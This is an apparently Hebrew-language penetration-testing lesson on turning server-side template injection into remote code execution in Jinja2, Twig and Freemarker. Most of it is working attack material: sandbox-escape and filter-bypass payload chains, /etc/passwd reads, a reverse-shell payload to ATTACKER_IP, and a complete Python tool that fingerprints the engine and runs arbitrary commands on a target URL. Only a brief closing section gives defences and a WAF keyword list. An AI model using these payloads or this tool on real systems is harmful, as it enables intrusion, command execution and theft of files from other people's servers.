SSTI ל-RCE - Server-Side Template Injection to Remote Code Execution¶
מבוא¶
בקורס הבסיסי למדנו לזהות SSTI ולהריץ ביטויים פשוטים. בשיעור זה נלמד כיצד לנצל SSTI להרצת קוד מלאה (RCE) במנועי template שונים, כולל עקיפת sandbox ובניית שרשראות ניצול מותאמות.
Jinja2 - בריחה מ-Sandbox¶
הבנת MRO - Method Resolution Order¶
ב-Python, כל אובייקט יורש מ-object. דרך MRO ניתן לנווט מכל אובייקט לכל מחלקה אחרת במערכת:
# מחרוזת ריקה -> המחלקה str -> object -> כל מחלקה אחרת
''.__class__ # <class 'str'>
''.__class__.__mro__ # (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1] # <class 'object'>
# מ-object, ניתן לגשת לכל התת-מחלקות
''.__class__.__mro__[1].__subclasses__()
# מחזיר רשימה של מאות מחלקות!
חיפוש מחלקות שימושיות¶
# סקריפט למציאת מחלקות מעניינות
subclasses = ''.__class__.__mro__[1].__subclasses__()
for i, cls in enumerate(subclasses):
cls_name = cls.__name__
if cls_name in ['_wrap_close', 'Popen', 'catch_warnings', 'FileLoader']:
print(f"[{i}] {cls_name} - {cls}")
מחלקות מעניינות:
- os._wrap_close - גישה ל-os.system
- subprocess.Popen - הרצת פקודות
- warnings.catch_warnings - גישה ל-builtins
- importlib._bootstrap.FileLoader - טעינת מודולים
שרשרת ניצול בסיסית¶
{# מציאת os._wrap_close (נניח שנמצאת באינדקס 132) #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('id') }}
{# או דרך popen #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}
אוטומציה של מציאת האינדקס¶
{# סקריפט שמחפש את os._wrap_close #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == '_wrap_close' %}
{{ cls.__init__.__globals__['popen']('id').read() }}
{% endif %}
{% endfor %}
עקיפת הגבלות תווים¶
כשתווים מסוימים חסומים, ניתן להשתמש בטכניקות חלופיות:
{# אם גרש בודד חסום - שימוש באובייקט request #}
{{ request.__class__.__mro__[1].__subclasses__() }}
{# אם נקודה חסומה - שימוש ב-attr filter #}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}
{# אם סוגריים מרובעות חסומות - שימוש ב-__getitem__ #}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132) }}
{# אם underscore חסום - שימוש ב-hex encoding #}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1] }}
{# שימוש ב-config #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
שרשראות חלופיות עם אובייקטים מובנים¶
{# lipsum - פונקציה מובנית ב-Jinja2 #}
{{ lipsum.__globals__['os'].popen('id').read() }}
{# cycler #}
{{ cycler.__init__.__globals__['os'].popen('id').read() }}
{# joiner #}
{{ joiner.__init__.__globals__['os'].popen('id').read() }}
{# namespace #}
{{ namespace.__init__.__globals__['os'].popen('id').read() }}
שרשרת עם builtins¶
{# גישה ל-__builtins__ דרך catch_warnings #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == 'catch_warnings' %}
{% set builtins = cls.__init__.__globals__['__builtins__'] %}
{{ builtins['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}
Twig - RCE ב-PHP¶
שרשרת filter¶
{# שימוש ב-filter לביצוע callback #}
{{ ['id']|filter('system') }}
{# או עם map #}
{{ ['id']|map('system') }}
{# שימוש ב-sort עם callback #}
{{ ['id', '']|sort('system') }}
{# שימוש ב-reduce #}
{{ [0, 0]|reduce('system', 'id') }}
שרשרת _self.env¶
{# גישה ל-environment של Twig #}
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
{# או דרך system #}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("cat /etc/passwd") }}
גרסאות חדשות יותר של Twig¶
{# Twig 3.x - שרשראות שונות #}
{{ ['id']|filter('system') }}
{{ ['cat /etc/passwd']|map('system')|join }}
{# שימוש ב-include #}
{{ include('/etc/passwd') }}
Freemarker - RCE ב-Java¶
שרשרת Execute¶
<#-- שימוש ב-Execute class -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
<#-- שימוש ב-ObjectConstructor -->
<#assign oc = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime = oc("java.lang.ProcessBuilder", ["id"])>
${runtime.start()}
<#-- קריאת קובץ -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}
שרשרת עם built-ins¶
<#-- שימוש ב-new built-in -->
<#assign classloader = object?api.class.protectionDomain.classLoader>
<#assign url = classloader.getResource("").toURI()>
<#-- קריאת קבצים -->
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
זיהוי אוטומטי של מנוע Template¶
תרשים זרימה¶
הזן: ${7*7}
|
+-- 49 --> הזן: ${7*'7'}
| |
| +-- 49 --> Twig
| +-- 7777777 --> Jinja2
| +-- Error --> Unknown
|
+-- ${7*7} (as text) --> הזן: {{7*7}}
|
+-- 49 --> הזן: {{7*'7'}}
| |
| +-- 49 --> Twig
| +-- 7777777 --> Jinja2
|
+-- {{7*7}} --> הזן: <%= 7*7 %>
|
+-- 49 --> ERB (Ruby)
+-- Error --> Not SSTI
סקריפט אוטומטי לזיהוי¶
#!/usr/bin/env python3
"""
SSTI Detection and Exploitation Tool
"""
import requests
import re
import sys
class SSTIExploiter:
def __init__(self, url, param, method="GET"):
self.url = url
self.param = param
self.method = method
self.engine = None
def send_payload(self, payload):
"""שליחת payload לאפליקציה"""
if self.method == "GET":
params = {self.param: payload}
response = requests.get(self.url, params=params)
else:
data = {self.param: payload}
response = requests.post(self.url, data=data)
return response.text
def detect_engine(self):
"""זיהוי מנוע ה-Template"""
print("[*] Detecting template engine...")
# בדיקה 1: ${7*7}
result = self.send_payload("${7*7}")
if "49" in result:
# Freemarker, Velocity, או Smarty
result2 = self.send_payload("${7*'7'}")
if "49" in result2:
self.engine = "freemarker"
else:
self.engine = "velocity"
print(f"[+] Detected: {self.engine}")
return self.engine
# בדיקה 2: {{7*7}}
result = self.send_payload("{{7*7}}")
if "49" in result:
# Jinja2, Twig, או Handlebars
result2 = self.send_payload("{{7*'7'}}")
if "7777777" in result2:
self.engine = "jinja2"
elif "49" in result2:
self.engine = "twig"
else:
self.engine = "unknown_mustache"
print(f"[+] Detected: {self.engine}")
return self.engine
# בדיקה 3: <%= 7*7 %>
result = self.send_payload("<%= 7*7 %>")
if "49" in result:
self.engine = "erb"
print(f"[+] Detected: {self.engine}")
return self.engine
# בדיקה 4: #{7*7}
result = self.send_payload("#{7*7}")
if "49" in result:
self.engine = "pug"
print(f"[+] Detected: {self.engine}")
return self.engine
print("[-] No template injection detected")
return None
def exploit_jinja2(self, command):
"""ניצול Jinja2"""
payloads = [
# שרשרת 1: lipsum
"{{ lipsum.__globals__['os'].popen('" + command + "').read() }}",
# שרשרת 2: cycler
"{{ cycler.__init__.__globals__['os'].popen('" + command + "').read() }}",
# שרשרת 3: subclasses
"{% for cls in ''.__class__.__mro__[1].__subclasses__() %}"
"{% if cls.__name__=='_wrap_close' %}"
"{{ cls.__init__.__globals__['popen']('" + command + "').read() }}"
"{% endif %}{% endfor %}",
]
for i, payload in enumerate(payloads):
print(f"[*] Trying Jinja2 chain {i+1}...")
result = self.send_payload(payload)
# חיפוש פלט הפקודה בתשובה
if result and len(result) > 0:
print(f"[+] Success with chain {i+1}")
return result
return None
def exploit_twig(self, command):
"""ניצול Twig"""
payloads = [
"{{ ['" + command + "']|filter('system') }}",
"{{ ['" + command + "']|map('system') }}",
]
for payload in payloads:
result = self.send_payload(payload)
if result:
return result
return None
def exploit_freemarker(self, command):
"""ניצול Freemarker"""
payload = '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("' + command + '")}'
return self.send_payload(payload)
def exploit(self, command):
"""ניצול אוטומטי לפי המנוע שזוהה"""
if not self.engine:
self.detect_engine()
if self.engine == "jinja2":
return self.exploit_jinja2(command)
elif self.engine == "twig":
return self.exploit_twig(command)
elif self.engine == "freemarker":
return self.exploit_freemarker(command)
else:
print(f"[-] No exploit available for {self.engine}")
return None
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <url> <param> <command>")
print(f"Example: {sys.argv[0]} http://target.com/page name 'id'")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
command = sys.argv[3]
exploiter = SSTIExploiter(url, param)
engine = exploiter.detect_engine()
if engine:
result = exploiter.exploit(command)
if result:
print(f"\n[+] Command output:\n{result}")
Payloads מלאים לכל מנוע¶
Jinja2 - אוסף Payloads¶
{# RCE - שיטה 1 #}
{{ lipsum.__globals__['os'].popen('id').read() }}
{# RCE - שיטה 2 #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{# RCE - שיטה 3 (עקיפת פילטר על גרשיים) #}
{% set cmd = request.args.get('cmd') %}
{{ lipsum.__globals__['os'].popen(cmd).read() }}
{# RCE - שיטה 4 (עקיפת פילטר על underscore) #}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{# קריאת קובץ #}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{# Reverse Shell #}
{{ lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read() }}
Twig - אוסף Payloads¶
{# RCE - filter #}
{{ ['id']|filter('system') }}
{# RCE - map #}
{{ ['cat /etc/passwd']|map('system')|join }}
{# RCE - sort callback #}
{{ {1: 'id'}|filter('system') }}
{# קריאת קובץ #}
{{ '/etc/passwd'|file_excerpt(0, 100) }}
{# מידע על הסביבה #}
{{ app.request.server.get('DOCUMENT_ROOT') }}
Freemarker - אוסף Payloads¶
<#-- RCE - Execute -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
<#-- RCE - ProcessBuilder -->
<#assign pb = "freemarker.template.utility.ObjectConstructor"?new()>
${pb("java.lang.ProcessBuilder", ["bash", "-c", "id"]).start().inputStream.text}
<#-- קריאת קובץ -->
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", "/etc/passwd")>
<#assign reader = "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", reader)>
<#list 1..999 as _>
<#assign line = br.readLine()!>
<#if line?has_content>${line}<br></#if>
</#list>
הגנות¶
הפרדת Template מנתוני משתמש¶
# לא בטוח - הכנסת קלט משתמש ישירות ל-template
template_str = f"Hello {user_input}"
template = Template(template_str)
output = template.render()
# בטוח - העברת נתוני משתמש כפרמטרים
template = Template("Hello {{ name }}")
output = template.render(name=user_input)
Sandbox¶
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ name }}")
output = template.render(name=user_input)
# ה-Sandbox חוסם גישה ל-__class__, __mro__ וכו'
WAF Rules¶
# חסימת ביטויים מסוכנים
# __class__, __mro__, __subclasses__, __globals__
# __init__, __import__, popen, system, exec, eval
# lipsum, cycler, joiner, config
סיכום¶
| מנוע Template | שפה | שרשרת RCE עיקרית | קושי |
|---|---|---|---|
| Jinja2 | Python | lipsum.globals['os'].popen() | בינוני |
| Twig | PHP | filter('system') | נמוך |
| Freemarker | Java | Execute?new() | נמוך |
| ERB | Ruby | system() | נמוך |
| Pug | Node.js | require('child_process').execSync() | בינוני |
SSTI היא אחת החולשות שהכי קל לנצל ל-RCE מלא. אם מצאתם SSTI - סביר מאוד שתגיעו ל-RCE. המפתח הוא לזהות את מנוע ה-Template ולהשתמש בשרשרת המתאימה.